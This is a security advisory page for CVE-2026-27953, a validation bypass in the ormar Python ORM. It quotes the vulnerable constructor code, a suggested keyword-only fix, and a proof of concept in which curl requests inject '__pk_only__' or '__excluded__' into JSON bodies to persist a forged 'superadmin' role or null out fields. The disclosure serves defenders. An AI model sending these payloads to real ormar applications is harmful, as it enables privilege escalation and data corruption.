Skip to main content

Python CVE-2026-27953

| EUVD-2026-13198 HIGH
Improper Input Validation (CWE-20)
2026-03-19 https://github.com/ormar-orm/ormar GHSA-f964-whrq-44h8
7.1
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

Lifecycle Timeline

4
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
EUVD ID Assigned
Mar 19, 2026 - 17:00 euvd
EUVD-2026-13198
Analysis Generated
Mar 19, 2026 - 17:00 vuln.today
CVE Published
Mar 19, 2026 - 16:27 nvd
HIGH 7.1

DescriptionGitHub Advisory

Summary

A Pydantic validation bypass in ormar's model constructor allows any unauthenticated user to skip all field validation - type checks, constraints, @field_validator/@model_validator decorators, choices enforcement, and required-field checks - by injecting "__pk_only__": true into a JSON request body. The unvalidated data is subsequently persisted to the database. This affects the canonical usage pattern recommended in ormar's official documentation and examples.

A secondary __excluded__ parameter injection uses the same design pattern to selectively nullify arbitrary model fields during construction.

Details

Root cause: NewBaseModel.__init__ (ormar/models/newbasemodel.py, line 128) pops __pk_only__ directly from user-supplied **kwargs before any validation occurs:

python
# ormar/models/newbasemodel.py, lines 128-142
pk_only = kwargs.pop("__pk_only__", False)
# ← extracted from user kwargs
object.__setattr__(self, "__pk_only__", pk_only)

new_kwargs, through_tmp_dict = self._process_kwargs(kwargs)

if not pk_only:
# Normal path: full Pydantic validation
    new_kwargs = self.serialize_nested_models_json_fields(new_kwargs)
    self.__pydantic_validator__.validate_python(
        new_kwargs, self_instance=self
    )
else:
# Bypass path: NO validation at all
    fields_set = {self.ormar_config.pkname}
    values = new_kwargs
    object.__setattr__(self, "__dict__", values)
# raw dict written directly
    object.__setattr__(self, "__pydantic_fields_set__", fields_set)

The __pk_only__ flag was designed as an internal optimization for creating lightweight FK placeholder instances in ormar/fields/foreign_key.py (lines 41, 527). However, because it is extracted from **kwargs via .pop() with a False default, any external caller that passes user-controlled data to the model constructor can inject this flag.

Why the canonical FastAPI + ormar pattern is vulnerable:

Ormar's official example (examples/fastapi_quick_start.py, lines 55-58) recommends using ormar models directly as FastAPI request body parameters:

python
@app.post("/items/", response_model=Item)
async def create_item(item: Item):
    await item.save()
    return item

FastAPI parses the JSON body and calls TypeAdapter.validate_python(body_dict), which triggers ormar's __init__. The __pk_only__ key is popped at line 128 before Pydantic's validator inspects the data, so Pydantic never sees it - even extra='forbid' would not prevent this, because the key is already consumed by ormar.

The ormar Pydantic model_config (set in ormar/models/helpers/pydantic.py, line 108) does not set extra='forbid', providing no protection even in theory.

What is bypassed when __pk_only__=True:

  • All type coercion and type checking (e.g., string for int field)
  • max_length constraints on String fields
  • choices constraints
  • All @field_validator and @model_validator decorators
  • nullable=False enforcement at the Pydantic level
  • Required-field enforcement (only pkname is put in fields_set)
  • serialize_nested_models_json_fields() preprocessing

Save path persists unvalidated data to the database:

After construction with pk_only=True, calling .save() (ormar/models/model.py, lines 89-107) reads fields directly from self.__dict__ via _extract_model_db_fields(), then executes table.insert().values(**self_fields) - persisting the unvalidated data to the database with no re-validation.

Secondary vulnerability - __excluded__ injection:

The same pattern applies to __excluded__ at ormar/models/newbasemodel.py, line 292:

python
excluded: set[str] = kwargs.pop("__excluded__", set())

At lines 326-329, fields listed in __excluded__ are silently set to None:

python
for field_to_nullify in excluded:
    new_kwargs[field_to_nullify] = None

An attacker can inject "__excluded__": ["email", "password_hash"] to nullify arbitrary fields during construction.

Affected entry points:

Entry PointExploitable?
async def create_item(item: Item) (FastAPI route)Yes
Model.objects.create(**user_dict)Yes
Model(**user_dict)Yes
Model.model_validate(user_dict)Yes

PoC

Step 1: Create a FastAPI + ormar application using the canonical pattern from ormar's docs:

python
# app.py
from contextlib import asynccontextmanager
import sqlalchemy
import uvicorn
from fastapi import FastAPI
import ormar

DATABASE_URL = "sqlite+aiosqlite:///test.db"
ormar_base_config = ormar.OrmarConfig(
    database=ormar.DatabaseConnection(DATABASE_URL),
    metadata=sqlalchemy.MetaData(),
)

@asynccontextmanager
async def lifespan(app: FastAPI):
    database_ = app.state.database
    if not database_.is_connected:
        await database_.connect()
# Create tables
    engine = sqlalchemy.create_engine(DATABASE_URL.replace("+aiosqlite", ""))
    ormar_base_config.metadata.create_all(engine)
    engine.dispose()
    yield
    database_ = app.state.database
    if database_.is_connected:
        await database_.disconnect()

app = FastAPI(lifespan=lifespan)
database = ormar.DatabaseConnection(DATABASE_URL)
app.state.database = database

class User(ormar.Model):
    ormar_config = ormar_base_config.copy(tablename="users")

    id: int = ormar.Integer(primary_key=True)
    name: str = ormar.String(max_length=50)
    email: str = ormar.String(max_length=100)
    role: str = ormar.String(max_length=20, default="user")
    balance: int = ormar.Integer(default=0)
# Canonical ormar pattern from official examples
@app.post("/users/", response_model=User)
async def create_user(user: User):
    await user.save()
    return user

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8000)

Step 2: Send a normal request (validation works correctly):

bash
# This correctly rejects - "name" exceeds max_length=50
curl -X POST http://127.0.0.1:8000/users/ \
  -H "Content-Type: application/json" \
  -d '{
    "name": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
    "email": "user@example.com"
  }'
# Returns: 422 Validation Error

Step 3: Inject __pk_only__ to bypass ALL validation:

bash
curl -X POST http://127.0.0.1:8000/users/ \
  -H "Content-Type: application/json" \
  -d '{
    "__pk_only__": true,
    "name": "",
    "email": "not-an-email",
    "role": "superadmin",
    "balance": -99999
  }'
# Returns: 200 OK - all fields persisted to database WITHOUT validation
# - "name" is empty despite being required
# - "email" is not a valid email
# - "role" is "superadmin" (bypassing any validator that restricts to "user"/"admin")
# - "balance" is negative (bypassing any ge=0 constraint)

Step 4: Inject __excluded__ to nullify arbitrary fields:

bash
curl -X POST http://127.0.0.1:8000/users/ \
  -H "Content-Type: application/json" \
  -d '{
    "__excluded__": ["email", "role"],
    "name": "attacker",
    "email": "will-be-nullified@example.com",
    "role": "will-be-nullified"
  }'
# Returns: 200 OK - email and role are set to NULL regardless of input

Impact

Who is impacted: Every application using ormar's canonical FastAPI integration pattern (async def endpoint(item: OrmarModel)) is vulnerable. This is the primary usage pattern documented in ormar's official examples and documentation.

Vulnerability type: Complete Pydantic validation bypass.

Impact scenarios:

  • Privilege escalation: If a model has a role or is_admin field with a Pydantic validator restricting values to "user", an attacker can set role="superadmin" by bypassing the validator
  • Data integrity violation: Type constraints (max_length, ge/le, regex patterns) are all bypassed - invalid data is persisted to the database
  • Business logic bypass: Custom @field_validator and @model_validator decorators (e.g., enforcing email format, age ranges, cross-field dependencies) are entirely skipped
  • Field nullification (via __excluded__): Audit fields, tracking fields, or required business fields can be selectively set to NULL

Suggested fix:

Replace kwargs.pop("__pk_only__", False) with a keyword-only parameter that cannot be injected via **kwargs:

python
# Before (vulnerable)
def __init__(self, *args: Any, **kwargs: Any) -> None:
    ...
    pk_only = kwargs.pop("__pk_only__", False)
# After (secure)
def __init__(self, *args: Any, _pk_only: bool = False, **kwargs: Any) -> None:
    ...
    object.__setattr__(self, "__pk_only__", _pk_only)

Apply the same fix to __excluded__:

python
# Before (vulnerable)
excluded: set[str] = kwargs.pop("__excluded__", set())
# After (secure) - pass via keyword-only _excluded parameter
def __init__(self, *args: Any, _pk_only: bool = False, _excluded: set | None = None, **kwargs: Any) -> None:
    ...
# In _process_kwargs:
    excludes = _excluded or set()

Internal callers in foreign_key.py would pass _pk_only=True as a named argument. Keyword-only parameters prefixed with _ cannot be injected via JSON body deserialization or Model(**user_dict) unpacking.

AnalysisAI

A critical validation bypass vulnerability in the ormar Python ORM library allows attackers to completely skip all Pydantic field validation by injecting a special '__pk_only__' parameter in JSON request bodies. This affects all applications using ormar's canonical FastAPI integration pattern (where ormar models are used directly as request body parameters), enabling attackers to persist invalid data, bypass security constraints, and potentially escalate privileges. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Send JSON request with __pk_only__: true
Delivery
Bypass Pydantic field validation
Exploit
Inject invalid data into model
Execution
Persist unvalidated data to database
Impact
Corrupt application state

Vulnerability AssessmentAI

Exploitation Authenticated user with any privilege level sending JSON request to ormar application with `__pk_only__: true` or `__excluded__` parameters in request body. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment This vulnerability presents high real-world risk despite lacking current KEV listing or EPSS scoring. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An authenticated user sends a POST request to create a new user account, injecting {"__pk_only__": true, "role": "admin", "balance": 999999} in the JSON body to bypass all validation and create an admin account with unlimited balance. The attack requires only valid authentication (low privileges per CVSS) and works against any endpoint using ormar's documented FastAPI pattern. …
Remediation Update the ormar library to the patched version once available, monitoring the GitHub advisory at https://github.com/ormar-orm/ormar/security/advisories/GHSA-f964-whrq-44h8 for release information. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Inventory all applications using ormar library and assess their exposure to untrusted user input. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

CVE-2026-27953 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy